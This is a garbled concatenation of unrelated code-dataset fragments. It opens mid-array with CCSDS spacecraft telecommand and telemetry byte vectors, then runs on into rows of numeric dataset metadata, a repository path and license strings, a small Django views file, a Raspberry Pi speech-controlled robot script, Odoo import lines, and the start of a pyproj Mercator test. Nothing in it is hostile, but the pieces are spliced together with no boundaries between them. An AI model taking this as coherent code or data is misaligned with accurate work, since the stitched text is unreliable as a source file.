0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC9, 0x48, 0x01, 0x00, 0x00, 0x00, 0xBB, 0xD6] NCTRS_TM_FRAME_01_packetSize = 1135 NCTRS_TM_FRAME_01_spacecraftId = 758 NCTRS_TM_FRAME_01_dataStreamType = 0 NCTRS_TM_FRAME_01_virtualChannelId = 0 NCTRS_TM_FRAME_01_routeId = 0 #NCTRS_TM_FRAME_01_earthReceptionTime = array.array('B', [0x56, 0xC0, 0x04, 0xB2, 0x2C, 0x16, 0x03, 0x20]) NCTRS_TM_FRAME_01_earthReceptionTime = 1918849985.5588 NCTRS_TM_FRAME_01_sequenceFlag = 0 NCTRS_TM_FRAME_01_qualityFlag = 0 TC_PACKET_01 = [ 0x1A, 0x8C, 0xC0, 0x0E, 0x01, 0x0D, 0x19, 0x06, 0x02, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x0F, 0x00, 0x01, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x0F, 0x00, 0x02, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x0F, 0x00, 0x03, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x0F, 0x00, 0x04, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x0F, 0x00, 0x05, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x0F, 0x00, 0x06, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x0F, 0x00, 0x07, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x0F, 0x00, 0x08, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x0F, 0x00, 0x09, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x0F, 0x00, 0x0A, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x0F, 0x00, 0x0B, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x0F, 0x00, 0x0C, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x0F, 0x00, 0x0D, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x0F, 0x00, 0x0E, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x0F, 0x00, 0x0F, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x0F, 0x00, 0x10, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x0F, 0x00, 0x11, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x0F, 0x00, 0x12, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x0F, 0x00, 0x13, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x0F, 0x00, 0x14, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x0F, 0x00, 0x15, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x0F, 0x00, 0x16, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x0F, 0x00, 0x17, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x0F, 0x00, 0x18, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x0F, 0x00, 0x19, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x0F, 0x00, 0x1A, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x0F, 0x00, 0x1B, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x0F, 0x00, 0x1C, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x0F, 0x00, 0x1D, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x0F, 0x00, 0x1E, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x0F, 0x00, 0x1F, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x0F, 0xAC, 0x8F] TC_PACKET_01_versionNumber = 0 TC_PACKET_01_packetType = 1 TC_PACKET_01_dataFieldHeaderFlag = 1 TC_PACKET_01_applicationProcessId = 652 TC_PACKET_01_segmentationFlags = CCSDS.PACKET.UNSEGMENTED TC_PACKET_01_sequenceControlCount = 14 TC_PACKET_01_packetLength = 269 TC_PACKET_01_pusVersionNumber = 1 TC_PACKET_01_ack = 9 TC_PACKET_01_serviceType = 6 TC_PACKET_01_serviceSubType = 2 TC_SEGMENT_01 = [ 0x42, 0x1A, 0x8C, 0xC0, 0x0E, 0x01, 0x0D, 0x19, 0x06, 0x02, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x0F, 0x00, 0x01, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x0F, 0x00, 0x02, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x0F, 0x00, 0x03, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x0F, 0x00, 0x04, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x0F, 0x00, 0x05, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x0F, 0x00, 0x06, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x0F, 0x00, 0x07, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x0F, 0x00, 0x08, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x0F, 0x00, 0x09, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x0F, 0x00, 0x0A, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x0F, 0x00, 0x0B, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x0F, 0x00, 0x0C, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x0F, 0x00, 0x0D, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x0F, 0x00, 0x0E, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x0F, 0x00, 0x0F, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x0F, 0x00, 0x10, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x0F, 0x00, 0x11, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x0F, 0x00, 0x12, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x0F, 0x00, 0x13, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x0F, 0x00, 0x14, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x0F, 0x00, 0x15, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x0F, 0x00, 0x16, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x0F, 0x00, 0x17, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x0F, 0x00, 0x18, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x0F, 0x00, 0x19, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x0F, 0x00, 0x1A, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x0F, 0x00, 0x1B, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x0F, 0x00, 0x1C, 0xFF, 0x00, 0x00, 0x00] TC_SEGMENT_01_sequenceFlags = CCSDS.SEGMENT.FIRST_SEGMENT TC_SEGMENT_01_mapId = 2 TC_SEGMENT_02 = [ 0x82, 0x00, 0x0F, 0x00, 0x1D, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x0F, 0x00, 0x1E, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x0F, 0x00, 0x1F, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x0F, 0xAC, 0x8F] TC_SEGMENT_02_sequenceFlags = CCSDS.SEGMENT.LAST_SEGMENT TC_SEGMENT_02_mapId = 2 TC_FRAME_01 = [ 0x22, 0xF6, 0x00, 0xFF, 0x00, 0x42, 0x1A, 0x8C, 0xC0, 0x0E, 0x01, 0x0D, 0x19, 0x06, 0x02, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x0F, 0x00, 0x01, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x0F, 0x00, 0x02, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x0F, 0x00, 0x03, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x0F, 0x00, 0x04, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x0F, 0x00, 0x05, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x0F, 0x00, 0x06, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x0F, 0x00, 0x07, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x0F, 0x00, 0x08, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x0F, 0x00, 0x09, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x0F, 0x00, 0x0A, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x0F, 0x00, 0x0B, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x0F, 0x00, 0x0C, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x0F, 0x00, 0x0D, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x0F, 0x00, 0x0E, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x0F, 0x00, 0x0F, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x0F, 0x00, 0x10, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x0F, 0x00, 0x11, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x0F, 0x00, 0x12, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x0F, 0x00, 0x13, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x0F, 0x00, 0x14, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x0F, 0x00, 0x15, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x0F, 0x00, 0x16, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x0F, 0x00, 0x17, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x0F, 0x00, 0x18, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x0F, 0x00, 0x19, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x0F, 0x00, 0x1A, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x0F, 0x00, 0x1B, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x0F, 0x00, 0x1C, 0xFF, 0x00, 0x00, 0x00, 0xAD, 0x1A] TC_FRAME_01_versionNumber = 0 TC_FRAME_01_reservedFieldB = 0 TC_FRAME_01_virtualChannelId = 0 TC_FRAME_01_controlCommandFlag = 0 TC_FRAME_01_reservedFieldA = 0 TC_FRAME_01_frameLength = 255 TC_FRAME_01_sequenceNumber = 0 TC_FRAME_01_spacecraftId = 758 TC_FRAME_01_bypassFlag = 1 TC_FRAME_02 = [ 0x22, 0xF6, 0x00, 0x23, 0x00, 0x82, 0x00, 0x0F, 0x00, 0x1D, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x0F, 0x00, 0x1E, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x0F, 0x00, 0x1F, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x0F, 0xAC, 0x8F, 0x00, 0x68] TC_FRAME_02_versionNumber = 0 TC_FRAME_02_reservedFieldB = 0 TC_FRAME_02_virtualChannelId = 0 TC_FRAME_02_controlCommandFlag = 0 TC_FRAME_02_reservedFieldA = 0 TC_FRAME_02_frameLength = 35 TC_FRAME_02_sequenceNumber = 0 TC_FRAME_02_spacecraftId = 758 TC_FRAME_02_bypassFlag = 1 CLTU_01 = [ 0xEB, 0x90, 0x22, 0xF6, 0x00, 0xFF, 0x00, 0x42, 0x1A, 0x12, 0x8C, 0xC0, 0x0E, 0x01, 0x0D, 0x19, 0x06, 0x5A, 0x02, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x8A, 0x00, 0x01, 0x00, 0x00, 0x00, 0xFF, 0x00, 0xCC, 0x00, 0x00, 0x00, 0x0F, 0x00, 0x01, 0xFF, 0x28, 0x00, 0x00, 0x00, 0x00, 0x0F, 0x00, 0x02, 0x5A, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x0F, 0x00, 0x92, 0x03, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x0F, 0xD6, 0x00, 0x04, 0xFF, 0x00, 0x00, 0x00, 0x00, 0xD4, 0x0F, 0x00, 0x05, 0xFF, 0x00, 0x00, 0x00, 0xA8, 0x00, 0x0F, 0x00, 0x06, 0xFF, 0x00, 0x00, 0xC8, 0x00, 0x00, 0x0F, 0x00, 0x07, 0xFF, 0x00, 0xCA, 0x00, 0x00, 0x00, 0x0F, 0x00, 0x08, 0xFF, 0x66, 0x00, 0x00, 0x00, 0x00, 0x0F, 0x00, 0x09, 0xA8, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x0F, 0x00, 0x92, 0x0A, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x0F, 0xF4, 0x00, 0x0B, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x5A, 0x0F, 0x00, 0x0C, 0xFF, 0x00, 0x00, 0x00, 0xB0, 0x00, 0x0F, 0x00, 0x0D, 0xFF, 0x00, 0x00, 0xD8, 0x00, 0x00, 0x0F, 0x00, 0x0E, 0xFF, 0x00, 0x96, 0x00, 0x00, 0x00, 0x0F, 0x00, 0x0F, 0xFF, 0xDA, 0x00, 0x00, 0x00, 0x00, 0x0F, 0x00, 0x10, 0x82, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x0F, 0x00, 0x92, 0x11, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x0F, 0x92, 0x00, 0x12, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x2A, 0x0F, 0x00, 0x13, 0xFF, 0x00, 0x00, 0x00, 0x24, 0x00, 0x0F, 0x00, 0x14, 0xFF, 0x00, 0x00, 0x4A, 0x00, 0x00, 0x0F, 0x00, 0x15, 0xFF, 0x00, 0x72, 0x00, 0x00, 0x00, 0x0F, 0x00, 0x16, 0xFF, 0x2E, 0x00, 0x00, 0x00, 0x00, 0x0F, 0x00, 0x17, 0x20, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x0F, 0x00, 0x92, 0x18, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x0F, 0xB0, 0x00, 0x19, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x90, 0x0F, 0x00, 0x1A, 0xFF, 0x00, 0x00, 0x00, 0x3C, 0x00, 0x0F, 0x00, 0x1B, 0xFF, 0x00, 0x00, 0xF8, 0x00, 0x00, 0x0F, 0x00, 0x1C, 0xFF, 0x00, 0x2E, 0x00, 0x00, 0xAD, 0x1A, 0x55, 0x55, 0x55, 0xEC, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55] CLTU_02 = [ 0xEB, 0x90, 0x22, 0xF6, 0x00, 0x23, 0x00, 0x82, 0x00, 0x24, 0x0F, 0x00, 0x1D, 0xFF, 0x00, 0x00, 0x00, 0x34, 0x00, 0x0F, 0x00, 0x1E, 0xFF, 0x00, 0x00, 0x10, 0x00, 0x00, 0x0F, 0x00, 0x1F, 0xFF, 0x00, 0xD8, 0x00, 0x00, 0x00, 0x0F, 0xAC, 0x8F, 0x00, 0x90, 0x68, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x06, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55] NCTRS_CLTU_01 = [ 0x00, 0x00, 0x01, 0x61, 0x00, 0x07, 0x02, 0xf6, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xEB, 0x90, 0x22, 0xF6, 0x00, 0xFF, 0x00, 0x42, 0x1A, 0x12, 0x8C, 0xC0, 0x0E, 0x01, 0x0D, 0x19, 0x06, 0x5A, 0x02, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x8A, 0x00, 0x01, 0x00, 0x00, 0x00, 0xFF, 0x00, 0xCC, 0x00, 0x00, 0x00, 0x0F, 0x00, 0x01, 0xFF, 0x28, 0x00, 0x00, 0x00, 0x00, 0x0F, 0x00, 0x02, 0x5A, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x0F, 0x00, 0x92, 0x03, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x0F, 0xD6, 0x00, 0x04, 0xFF, 0x00, 0x00, 0x00, 0x00, 0xD4, 0x0F, 0x00, 0x05, 0xFF, 0x00, 0x00, 0x00, 0xA8, 0x00, 0x0F, 0x00, 0x06, 0xFF, 0x00, 0x00, 0xC8, 0x00, 0x00, 0x0F, 0x00, 0x07, 0xFF, 0x00, 0xCA, 0x00, 0x00, 0x00, 0x0F, 0x00, 0x08, 0xFF, 0x66, 0x00, 0x00, 0x00, 0x00, 0x0F, 0x00, 0x09, 0xA8, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x0F, 0x00, 0x92, 0x0A, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x0F, 0xF4, 0x00, 0x0B, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x5A, 0x0F, 0x00, 0x0C, 0xFF, 0x00, 0x00, 0x00, 0xB0, 0x00, 0x0F, 0x00, 0x0D, 0xFF, 0x00, 0x00, 0xD8, 0x00, 0x00, 0x0F, 0x00, 0x0E, 0xFF, 0x00, 0x96, 0x00, 0x00, 0x00, 0x0F, 0x00, 0x0F, 0xFF, 0xDA, 0x00, 0x00, 0x00, 0x00, 0x0F, 0x00, 0x10, 0x82, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x0F, 0x00, 0x92, 0x11, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x0F, 0x92, 0x00, 0x12, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x2A, 0x0F, 0x00, 0x13, 0xFF, 0x00, 0x00, 0x00, 0x24, 0x00, 0x0F, 0x00, 0x14, 0xFF, 0x00, 0x00, 0x4A, 0x00, 0x00, 0x0F, 0x00, 0x15, 0xFF, 0x00, 0x72, 0x00, 0x00, 0x00, 0x0F, 0x00, 0x16, 0xFF, 0x2E, 0x00, 0x00, 0x00, 0x00, 0x0F, 0x00, 0x17, 0x20, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x0F, 0x00, 0x92, 0x18, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x0F, 0xB0, 0x00, 0x19, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x90, 0x0F, 0x00, 0x1A, 0xFF, 0x00, 0x00, 0x00, 0x3C, 0x00, 0x0F, 0x00, 0x1B, 0xFF, 0x00, 0x00, 0xF8, 0x00, 0x00, 0x0F, 0x00, 0x1C, 0xFF, 0x00, 0x2E, 0x00, 0x00, 0xAD, 0x1A, 0x55, 0x55, 0x55, 0xEC, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55] NCTRS_CLTU_01_packetSize = 353 NCTRS_CLTU_01_spacecraftId = 758 NCTRS_CLTU_01_dataUnitType = 7 NCTRS_CLTU_01_delay = 0 NCTRS_CLTU_01_latestProdTime = 0.0 NCTRS_CLTU_01_serviceType = 0 NCTRS_CLTU_01_earliestProdTime = 0.0 NCTRS_CLTU_01_virtualChannelId = 0 NCTRS_CLTU_01_mapId = 0 NCTRS_CLTU_01_aggregationFlag = 0 NCTRS_CLTU_01_tcId = 16 NCTRS_CLTU_01_earliestProdTimeFlag = 0 NCTRS_CLTU_01_latestProdTimeFlag = 0 NCTRS_CLTU_02 = [ 0x00, 0x00, 0x00, 0x69, 0x00, 0x07, 0x02, 0xF6, 0x00, 0x00, 0x00, 0x00, 0x11, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xEB, 0x90, 0x22, 0xF6, 0x00, 0x23, 0x00, 0x82, 0x00, 0x24, 0x0F, 0x00, 0x1D, 0xFF, 0x00, 0x00, 0x00, 0x34, 0x00, 0x0F, 0x00, 0x1E, 0xFF, 0x00, 0x00, 0x10, 0x00, 0x00, 0x0F, 0x00, 0x1F, 0xFF, 0x00, 0xD8, 0x00, 0x00, 0x00, 0x0F, 0xAC, 0x8F, 0x00, 0x90, 0x68, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x06, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55] NCTRS_CLTU_02_packetSize = 105 NCTRS_CLTU_02_spacecraftId = 758 NCTRS_CLTU_02_dataUnitType = 7 NCTRS_CLTU_02_delay = 0 NCTRS_CLTU_02_latestProdTime = 0.0 NCTRS_CLTU_02_serviceType = 0 NCTRS_CLTU_02_earliestProdTime = 0.0 NCTRS_CLTU_02_virtualChannelId = 0 NCTRS_CLTU_02_mapId = 0 NCTRS_CLTU_02_aggregationFlag = 0 NCTRS_CLTU_02_tcId = 17 NCTRS_CLTU_02_earliestProdTimeFlag = 0 NCTRS_CLTU_02_latestProdTimeFlag = 0 BCH_BLOCK_01 = [ 0x22, 0xF6, 0x00, 0xFF, 0x00, 0x42, 0x1A, 0x12] BCH_BLOCK_02 = [ 0x8C, 0xC0, 0x0E, 0x01, 0x0D, 0x19, 0x06, 0x5A]
47.388446
106
0.655849
7,491
47,578
4.105593
0.059805
0.844351
1.181466
1.481125
0.874199
0.861486
0.844578
0.841977
0.834954
0.834954
0
0.472546
0.193472
47,578
1,003
107
47.435693
0.328929
0.02539
0
0.601626
0
0
0.003195
0.003108
0
0
0.569344
0
0
1
0
false
0.002033
0.003049
0
0.003049
0
0
0
0
null
1
1
1
1
1
1
1
1
1
0
1
0
0
0
0
0
1
0
0
0
0
0
0
0
null
0
1
0
0
0
0
0
0
0
0
0
0
0
12
21299f77861a1b79cc9153eaf28da32ebd5e4a0c
240
py
Python
jam/frontend/views.py
altear/jam
ef49d13204716e76b79840dbfcee9d7e4148f35e
[ "MIT" ]
null
null
null
jam/frontend/views.py
altear/jam
ef49d13204716e76b79840dbfcee9d7e4148f35e
[ "MIT" ]
null
null
null
jam/frontend/views.py
altear/jam
ef49d13204716e76b79840dbfcee9d7e4148f35e
[ "MIT" ]
null
null
null
from django.shortcuts import redirect, render from backend.views import create_game def game(request, game_uid): return render(request, 'frontend/index.html') def start_game(request): return render(request, 'frontend/index.html')
26.666667
49
0.775
33
240
5.545455
0.545455
0.120219
0.20765
0.295082
0.393443
0.393443
0
0
0
0
0
0
0.125
240
8
50
30
0.871429
0
0
0.333333
0
0
0.158333
0
0
0
0
0
0
1
0.333333
false
0
0.333333
0.333333
1
0
0
0
0
null
0
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
1
1
1
0
0
7
216a1ab5c9398b70814de631b2d4c530cc46f09b
2,992
py
Python
word_relay.py
calderdigihub/PiWars21_crashBot
6ff60cffdca7cb90261fcb2283adc43cf619f37b
[ "MIT" ]
null
null
null
word_relay.py
calderdigihub/PiWars21_crashBot
6ff60cffdca7cb90261fcb2283adc43cf619f37b
[ "MIT" ]
null
null
null
word_relay.py
calderdigihub/PiWars21_crashBot
6ff60cffdca7cb90261fcb2283adc43cf619f37b
[ "MIT" ]
1
2021-06-25T10:57:24.000Z
2021-06-25T10:57:24.000Z
#pip3 install SpeechRecognition #pip3 install pyaudio #https://realpython.com/python-speech-recognition/#picking-a-python-speech-recognition-package #https://maker.pro/raspberry-pi/tutorial/the-best-voice-recognition-software-for-raspberry-pi import speech_recognition as sr import directions from time import sleep r=sr.Recognizer() mic = sr.Microphone() with mic as source: r.adjust_for_ambient_noise(source) print("listening") audio_text = r.listen(source) print("Text: "+r.recognize_google(audio_text)) print("not listening") try: # using google speech recognition code = r.recognize_google(audio_text) print("Text: "+code) except: print("Sorry, I did not get that") code="blank" if code == "forward long": directions.forward() sleep(10) directions.stop() elif code == "forward middle": directions.forward() sleep(5) directions.stop() elif code == "forward short": directions.forward() sleep(1) directions.stop() elif code == "reverse long": directions.back() sleep(10) directions.stop() elif code == "reverse middle": directions.back() sleep(5) directions.stop() elif code == "reverse short": directions.back() sleep(1) directions.stop() elif code == "write long": directions.left_forward() sleep(1) directions.stop() elif code == "write short": directions.left_forward() sleep(0.5) directions.stop() elif code == "left long": directions.right_forward() sleep(1) directions.stop() elif code == "left short": directions.right_forward() sleep(0.5) directions.stop() while r.recognize_google(audio_text) != "end": with mic as source: r.adjust_for_ambient_noise(source) print("listening") audio_text = r.listen(source) print("Text: "+r.recognize_google(audio_text)) print("not listening") try: # using google speech recognition code = r.recognize_google(audio_text) print("Text: "+code) except: print("Sorry, I did not get that") code="blank" if code == "forward long": directions.forward() sleep(10) directions.stop() elif code == "forward middle": directions.forward() sleep(5) directions.stop() elif code == "forward short": directions.forward() sleep(1) directions.stop() elif code == "reverse long": directions.back() sleep(10) directions.stop() elif code == "reverse middle": directions.back() sleep(5) directions.stop() elif code == "reverse short": directions.back() sleep(1) directions.stop() elif code == "write long": directions.left_forward() sleep(1) directions.stop() elif code == "write short": directions.left_forward() sleep(0.5) directions.stop() elif code == "left long": directions.right_forward() sleep(1) directions.stop() elif code == "left short": directions.right_forward() sleep(0.5) directions.stop()
24.933333
95
0.659759
370
2,992
5.262162
0.202703
0.143811
0.16641
0.20339
0.845917
0.833077
0.833077
0.833077
0.833077
0.833077
0
0.01261
0.20488
2,992
119
96
25.142857
0.805801
0.099599
0
0.945455
0
0
0.142968
0
0
0
0
0
0
1
0
false
0
0.027273
0
0.027273
0.090909
0
0
0
null
0
0
1
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
8
b4a78744b90d425d112d6838c10a298c204aae21
71
py
Python
addons/generic_request/wizard/__init__.py
marionumza/vocal_v12
480990e919c9410903e06e7813ee92800bd6a569
[ "Unlicense" ]
null
null
null
addons/generic_request/wizard/__init__.py
marionumza/vocal_v12
480990e919c9410903e06e7813ee92800bd6a569
[ "Unlicense" ]
null
null
null
addons/generic_request/wizard/__init__.py
marionumza/vocal_v12
480990e919c9410903e06e7813ee92800bd6a569
[ "Unlicense" ]
1
2021-05-05T07:59:08.000Z
2021-05-05T07:59:08.000Z
from . import request_wizard_close from . import request_wizard_assign
23.666667
35
0.859155
10
71
5.7
0.6
0.350877
0.596491
0.807018
0
0
0
0
0
0
0
0
0.112676
71
2
36
35.5
0.904762
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
0
0
null
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
8
b4c45fa67a43655553bf06e727360350d23df829
10,892
py
Python
tests/geo/python/test_geo_mercator.py
marek-cel/libmcutils
671a20f37378d32ade4decefdbfba70448d12504
[ "MIT" ]
null
null
null
tests/geo/python/test_geo_mercator.py
marek-cel/libmcutils
671a20f37378d32ade4decefdbfba70448d12504
[ "MIT" ]
null
null
null
tests/geo/python/test_geo_mercator.py
marek-cel/libmcutils
671a20f37378d32ade4decefdbfba70448d12504
[ "MIT" ]
null
null
null
#!/usr/bin/env python3 ################################################################################ import pyproj ################################################################################ t_geo2merc = pyproj.Transformer.from_crs( {"proj":'latlong', "ellps":'WGS84', "datum":'WGS84'}, {"proj":'merc', "ellps":'WGS84', "datum":'WGS84'}, ) t_merc2geo = pyproj.Transformer.from_crs( {"proj":'merc', "ellps":'WGS84', "datum":'WGS84'}, {"proj":'latlong', "ellps":'WGS84', "datum":'WGS84'}, ) ################################################################################ nautical_mile = 1852.0 arc_deg = 60.0 * nautical_mile arc_deg30 = 30.0 * arc_deg arc_deg45 = 45.0 * arc_deg arc_deg60 = 60.0 * arc_deg arc_deg90 = 90.0 * arc_deg arc_deg120 = 120.0 * arc_deg arc_deg150 = 150.0 * arc_deg arc_deg180 = 180.0 * arc_deg 